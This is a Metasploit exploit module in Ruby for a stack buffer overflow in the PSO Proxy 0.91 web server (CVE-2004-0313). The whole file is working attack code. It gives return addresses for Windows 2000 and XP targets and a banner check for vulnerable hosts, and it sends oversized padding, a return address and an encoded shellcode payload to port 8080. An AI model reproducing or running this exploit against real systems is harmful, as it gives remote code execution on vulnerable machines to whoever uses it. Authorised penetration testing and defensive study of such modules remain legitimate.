PSOProxy 0.91 – Stack Buffer Overflow (Metasploit)
## # $Id: psoproxy91_overflow.rb 9262 2010-05-09 17:45:00Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'PSO Proxy v0.91 Stack Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow in the PSO Proxy v0.91 web server. If a client sends an excessively long string the stack is overwritten. }, 'Author' => 'Patrick Webster <patrick@aushack.com>', 'License' => MSF_LICENSE, 'Version' => '$Revision: 9262 $', 'References' => [ [ 'CVE', '2004-0313' ], [ 'OSVDB', '4028' ], [ 'URL', 'http://www.milw0rm.com/exploits/156' ], [ 'BID', '9706' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 370, 'BadChars' => "\x00\x0a\x0d\x20", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ # Patrick - Tested OK 2007/09/06 against w2ksp0, w2ksp4, xpsp0,xpsp2 en. [ 'Windows 2000 Pro SP0-4 English', { 'Ret' => 0x75023112 } ], # call ecx ws2help.dll [ 'Windows 2000 Pro SP0-4 French', { 'Ret' => 0x74fa3112 } ], # call ecx ws2help.dll [ 'Windows 2000 Pro SP0-4 Italian', { 'Ret' => 0x74fd3112 } ], # call ecx ws2help.dll [ 'Windows XP Pro SP0/1 English', { 'Ret' => 0x71aa396d } ], # call ecx ws2help.dll [ 'Windows XP Pro SP2 English', { 'Ret' => 0x71aa3de3 } ], # call ecx ws2help.dll ], 'Privileged' => false, 'DisclosureDate' => 'Feb 20 2004' )) register_options( [ Opt::RPORT(8080), ], self.class) end def check connect sock.put("GET / HTTP/1.0\r\n\r\n") banner = sock.get(-1,3) if (banner =~ /PSO Proxy 0\.9/) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit connect exploit = rand_text_alphanumeric(1024, payload_badchars) exploit += [target['Ret']].pack('V') + payload.encoded sock.put(exploit + "\r\n\r\n") disconnect handler end end |